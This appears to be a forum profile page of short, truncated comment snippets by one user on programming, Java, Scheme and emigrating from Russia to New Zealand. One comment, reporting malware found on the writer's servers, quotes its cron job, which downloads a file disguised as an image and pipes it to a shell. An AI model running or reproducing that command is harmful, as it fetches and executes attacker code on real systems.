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by kovrik 9y ago
Normally, if you deal with money, then you try to be extremely careful, right? You have to care much about security, verify that your app is not vulnerable, make an audit etc. And I think that even beginners know that you can't trust u
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by kovrik 9y ago
Reminded me of "Objects are merely a poor man's closures": http://wiki.c2.com/?ClosuresAndObjectsAreEquivalent
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by kovrik 9y ago
https://en.wikipedia.org/wiki/Monolith_(Space_Odyssey)
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by kovrik 9y ago
Artpip is great, use it for months now, really love it! There is one thing though: I also have LittleSnitch installed and it shows that Artpip often tries to connect to direct IPs. Personally, I don't like giving apps permissions to co
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by kovrik 9y ago
What strikes me is the fact that many people can definitely and clearly believe that 'cults are bad and dangerous', but be religious at the same time! It seems weird that people can't see that church and cults are basically t
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by kovrik 9y ago
So do memristors exist or not? Wiki claims they are still 'hypothetical'.
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by kovrik 9y ago
What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If
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by kovrik 10y ago
I'm working on R5RS Scheme implementation in Java: https://github.com/kovrik/scheme-in-java There are only 2 major things TODO: macros and Java interop (currently working on it). Almost everything else is complete
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by kovrik 10y ago
I disagree. Yes, Java is verbose, but all this verbosity makes sense. I think it is better to write more code, but be able to understand it and reason about it, than write one line and rely on all magic under the hood (having no idea how it
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by kovrik 10y ago
Reminded me about good old https://codon.com/programming-with-nothing
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by kovrik 10y ago
As a Java developer, I am really jealous!
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by kovrik 10y ago
Well, you can come here, get residency, wait 2 years for a permanent residency or 5 years for a citizenship and then move to Australia. That is what most people with ambitions do here
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by kovrik 10y ago
These are mostly for government structures, military etc. No one is using them (or, say, Elbrus) at home for PC's/workstations. Maybe only some geeks and just for fun. Usually you can't even buy them in normal computer store
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by kovrik 10y ago
> I thought eg salaries there were very low. It depends. I'm talking more about salary/rent ratio. In Russia I was spending about 30% of my salary for rent (and apartment was big and new and nice). Here I spend about 40%. And a
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by kovrik 10y ago
Yes, doctors get very good money here. But google it, most probably your wife will have to pass exams or something to prove her qualification and work here as a doctor. And NZ is a wonderful country for kids! Also, french community is quite
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by kovrik 10y ago
My wife and I moved to NZ (from Russia) 2+ years ago. I work in IT (Software Developer). We live in Auckland. My impressions are: PROS: - very beautiful country. Really, nature here is amazing! - people are very friendly - everything is qui
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by kovrik 10y ago
HyperLogLog
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by kovrik 10y ago
I'm currently working on such a product.
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by kovrik 10y ago
Thank you so much for the book, please, continue! I am currently working on Scheme R5RS implementation in Java. It is a hobby project, but I'm really enjoying it. It is somewhat enlightening. Look forward to reading the Optimization ch
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by kovrik 10y ago
What does 'linked' word mean here? I see that verb in biological/medical articles very often and it always makes me think that researchers are very unsure about the results. It is like 'We believe there is a correlation
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by kovrik 10y ago
Yes, that is a problem. On the other hand, with your approach you are going to have revisions that won't even build/compile. If you have automatic builds or/and unit/integration tests, then you'll have failed builds
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by kovrik 10y ago
Agree: "Then improve", but not "Write another blog post about it"
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by kovrik 10y ago
Honestly, I'm really tired of all these 'Let's replace Twitter', 'Twitter is dead' etc. stuff. Yes, Twitter is not perfect from business perspective, but users should not care. Twitter is also not perfect from
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by kovrik 10y ago
I have left my parents and many friends and colleagues in Russia. They all are kind and smart and good people. They just can't leave the country as I did: they don't want to, they are bound to their family, they have business the
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by kovrik 10y ago
You are right, English is almost useless in Russia. It IS useful if you work in IT and have to read docs, but basic English is enough for that.
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by kovrik 10y ago
As far as I understand, the difference is that in our reality and perception, all strangers are 'bad' by default, they want to hurt us, they are suspicious etc. But if we know each other closer, if we confirm that the other guy is
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by kovrik 10y ago
Update: no, he has just responded, says that LinkedIn still works fine, probably they are negotiating or something.
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by kovrik 10y ago
I am a Russian too, moved to New Zealand. I was talking to my colleague from Russia via Linkedin, he was asking me about moving to NZ, getting the visa and so on. But now he can't read my response... sigh
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by kovrik 10y ago
I don't talk much as well (I am originally from Russia, we don't smile much too + I am a software developer). And if I do, I prefer to talk for a reason. But now I live and work in New Zealand and smalltalks here is a must. And
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by kovrik 10y ago
Or use hexl-mode in Emacs

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